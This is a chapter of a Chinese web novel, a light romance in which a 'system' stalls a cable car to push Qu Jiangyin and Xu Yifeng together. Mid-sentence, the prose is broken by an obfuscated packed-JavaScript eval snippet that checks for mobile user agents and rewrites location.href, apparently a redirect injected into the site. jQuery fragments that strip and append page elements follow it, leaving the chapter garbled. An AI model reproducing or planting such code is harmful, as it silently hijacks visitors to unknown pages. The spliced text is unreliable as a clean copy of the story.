6. 006

他凝视着笑靥如花的曲江吟,蓦地明白了。


略宝得到了曲江吟毫无保留的爱……


系统发现徐逸风的心跳变快了,以为他害怕了,不禁暗自腹诽道:“蛇都快离开了,你才想起来害怕了!”


见曲江吟还在那儿喋喋不休地讲她的略宝有多可爱,系统忍不住提醒道:“宿主,徐逸风怕蛇,你换个话题吧。”


“啊?他不像怕蛇的人啊。”


系统信誓旦旦地说:“我能检测到他的心跳,你说的越多,他的心跳越快。”


曲江吟瞅了瞅面无异色的徐逸风,半信半疑地问了一句:“你怕蛇吗?”


徐逸风摇了摇头:“不怕,听你说了这么多略宝的可爱之处,我都想养条蛇看看它到底有没有你说的那么可爱。”


他的表情无比自然,语气也很真诚,不像是装的。


系统简直纳闷到了极点,它边思考边嘀咕:“不怕心跳怎么这么快?总不能是动心了吧?不会吧,你在大讲特讲略宝的事,他动心个什么劲儿?难道……他对略宝动心了???”


曲江吟彻底听不下去了,她曾听过一句谚语“人类一思考,上帝就发笑”,现在她只想回系统一句“系统一思考,宿主就发笑”,但考虑到系统堪比幼儿园肄业的理解能力,她果断扔掉这个念头,直截了当地喷了回去:“你快闭嘴吧!你说的这都什么跟什么呀?”


徐逸风的注意力一直集中在曲江吟身上,自然能第一时间发现她的不对劲,见她忽然愣住了,他也懵了,她怎么走神了?


他赶紧伸手在她眼前晃了晃:“怎么了?”


曲江吟瞬间回过神来,大脑飞速运转,不到一秒就编了个合理的理由来解释自己为何会突然走神。


“我刚才在想你适合养什么蛇,居然想得入迷了。”理由编好了,情绪还没调整过来,因此她的笑容看起来稍微有点干巴。


“哦?你觉得我适合养什么蛇呢?”其实他想养蛇并非出自喜欢,只是希望自己能跟曲江吟有更多的共同话题。


“你是新手,首推温顺无毒便宜好养的玉米蛇,不过,我觉得帅气的黑王蛇更加契合你的气质。”


“谢谢你的建议,我会好好考虑的。”


“想好了再养哦,那毕竟是蛇,脑子就那么一丢丢,”说着,她抬手比了个偷国男人看了会愤怒的手势,“在提供情绪价值这方面,肯定比不过猫咪和狗子。”


“好,”徐逸风乖乖应下,“如果我有什么不懂的地方,可以请教你吗?”


“当然可以,我乐意之至,”曲江吟怎么可能拒绝一个用星星眼凝望着她的大帅哥?“走吧,再有十几分钟就到山顶了。”


到达山顶之后,徐逸风接了个电话,有人找他有事,还挺急的,所以他不能继续悠哉悠哉地爬山了。


为了尽快下山,他决定搭乘观光缆车。


曲江吟本来打算独自步行下山,可她还没来得及开口道别,就在徐逸风“你怎么忍心抛下我”的眼神攻势中败下阵来,最终决定和他一起去乘坐观光缆车。


她绝不承认自己色令智昏,都怪徐逸风,他那副我见犹怜的模样谁看了不迷糊啊?她不过是顺水推舟罢了,反正没了爬山搭子,爬山的乐趣也会大打折扣。


坐在缆车上观景别有一番趣味,曲江吟很享受这种居高临下俯瞰山川美景的感觉。


身边是美男,脚下是美景,要不是她和徐逸风仅仅见过几次面,关系还不太熟,她早把心里的玩笑话抑扬顿挫地说出来了——爱妃,看看朕为你打下的江山!


她想了想,称呼爱妃不行,称呼爱卿不就行了!


于是她刻意清了清嗓子,捋了捋并不存在的胡须,粗声粗气地说:“这都是朕打下的江山!徐爱卿,朕的江山如何?”


拿腔作调的声音让徐逸风忍俊不禁,他十分配合地拱了拱手,张口就是成语大全:“幅员辽阔,物产丰饶,兵强马壮,龙腾虎跃,风调雨顺,国泰民安。国家繁荣富强,百姓安居乐业,陛下,您厥功甚伟!”


“爱卿所言,甚得朕心,赏!”说罢,她拉开拉链,打开背包,在里面扒拉了几下,掏出一个栩栩如生的兰花螳螂玩偶,笑着递给徐逸风。


“这是我在山下买的,漂亮吧?你着急离开,肯定没时间逛纪念品店了,把这个玩偶留着当纪念吧。”


徐逸风心头一震,所以……刚刚的玩笑只是铺垫,眼前的礼物才是重头戏?


因为担心直接送自己不肯收,她才用开玩笑这种迂回又轻松的方式将礼物送给自己吗?


想到这里,他的心仿佛刚捞出来的豆腐似的,软得一塌糊涂。


此刻在他心间翻涌的情绪,除了感动,还有无法言说的懊恼,他很想回礼,却拿不出一件送得出手的东西。


曲江吟很清楚徐逸风这种吃人嘴短拿人手软的人会纠结什么,不等他开口又补充了一句:“你都请我坐缆车了,别纠结回礼的事了。”


徐逸风低头瞅了瞅手中的玩偶,又抬头看向曲江吟,轻轻应了一声:“好。”


此时,曲江吟刚好被系统咋咋呼呼的声音吵得分了神,因此没能注意到他那双容得下万物,却藏不住情意的眼睛……


缆车行驶至半山腰时,忽然毫无征兆地停了下来。


当徐逸风还在疑惑“怎么了?是不是停电了?”的时候,曲江吟已经开始在脑海里质问系统了。


“说!是不是你搞的鬼?”


“是啊,”系统承认得异常干脆,随后又用难掩得意的语气卖弄道:“宿主,你知道什么叫做吊桥效应吗?”


曲江吟咬牙切齿地回应道:“我只知道我想把你吊起来打!”


“我没有实体,不可能被吊起来,你们两个倒是被缆车吊在空中了,上上不去,下下不来。”脑子缺根弦的系统丝毫没有意识到它的话听起来有多么阴阳怪气。


曲江吟已经出离愤怒了:“这不是你干的好事吗?你居然还敢幸灾乐祸?”


“没有啊,我只是在陈述事实。你知道是我干的,徐逸风不知道呀,他必然会担心缆车是不是出故障了、会不会掉下去。”


“我真是服了!你老折腾他干嘛呀?”


“这怎么能叫折腾呢?为了促进你们俩的感情,我搞一些无伤大雅的小把戏也情有可原吧。他的心跳已经加快了,估计很快就会把自己心跳加速的感觉当成是对你的心动!”


曲江吟很想说徐逸风赶时间,心跳加快多半是因为焦急,但考虑到系统可不在乎徐逸风究竟急不急,这么说只能让它消停一时,想让


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322424|167539||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


它彻底消停不再搞事,还是得换个说法。


“你就不怕弄巧成拙?你一直暗戳戳地搞事,没准儿会让他觉得每次遇到我都没什么好事,在心里给我按个瘟神的名头,对我避之不及呢。”


“啊?”系统从来没有往这方面想过,“应该……应该不会吧?我看他对你挺有好感的呀,怎么可能把你当瘟神呢?”


“呵呵,你再这么胡搞瞎搞,他对我的那点儿好感迟早被你败光,我……算了,不想跟你扯这些有的没的了,赶紧让缆车重新启动!坐缆车的人又不止我们两个,你这不是乱来吗?其他人会被吓成什么样子,我都不敢想!”


她不知道的是,系统不光让缆车停了下来,还让徐逸风产生了幻听。


就在曲江吟诘问系统的时候,徐逸风陡然听到缆车顶部发出一连串异响,声音不大,却格外瘆人。


因此他并没有曲江吟想的那么急,反倒慌得不行,哪怕他不恐高,也受不了被困在空中动弹不得,还得时刻担心缆车会不会掉下去的感觉。


不过,他不想在曲江吟面前露怯,竭力维持着淡定自若的神态。


端详着双目微阖气定神闲的曲江吟,他由衷地感到佩服,“泰山崩于前而色不变”这句话就像专门为她写的一样。


“你似乎一点也不担心缆车会掉下去呢?”


曲江吟掀开眼皮,露出一双灿若星辰熠熠生辉的眼睛。


“有啥好担心的?吉人自有天相,老天爷才舍不得把我送到阎王爷手中呢!”


她刚说完,缆车便动了起来,令徐逸风神经紧绷的异响也戛然而止。


“瞧!这就叫做言出法随。”她往后一靠,后背紧贴缆车的椅背,同时抬起左脚搭在右腿的膝盖上,整个人要多惬意有多惬意,一副“看我多靠谱,信我准没错”的模样。


她这副做派摆明了是在故意逗徐逸风。


徐逸风的确笑了,却并非被她逗笑的。


他的心好似被猫咪蹭过一般,酥酥痒痒的,痒意蔓延到脸上,勾勒出足以令无数人倾心的微笑。


没想到她不仅轻易看穿了自己极力遮掩的恐慌,还特意用轻松的语调、肆意的姿态来抚平自己被惧意蹂/躏得皱皱巴巴的心。


强势又不失温柔,直爽又不失细腻,幽默又不失分寸,这样的人,他如何能不为之心折、不为之心动、不为之着迷?


“你心态真好,刚才缆车发出怪声的时候,我人都快吓傻了,你却像根本没听到似的,依旧淡定如常。”


曲江吟的笑容凝固了一瞬,什么怪声?她怎么没听到呢?


不用问,肯定又是系统干的好事!


她明明只想开个小小的玩笑,活跃一下沉闷的气氛,却因为系统的搅局直接装了波大的,她都不知道该说什么好了,只能生硬地转移了话题……


当天晚上,曲江吟洗完澡回到卧室,发现手机上多出好几个未接来电,从号码归属地来看,应该不是她妈打来的。


她没多想,直接拨了回去。


接通的瞬间,她还没来得及开口,便听见一个陌生又粗粝的声音恶声恶气地问道:“你就是曲江吟吧?”


“没错,你是?”


“我是安钧羽他爸,你这个丧门星,休想独吞他的遗产!”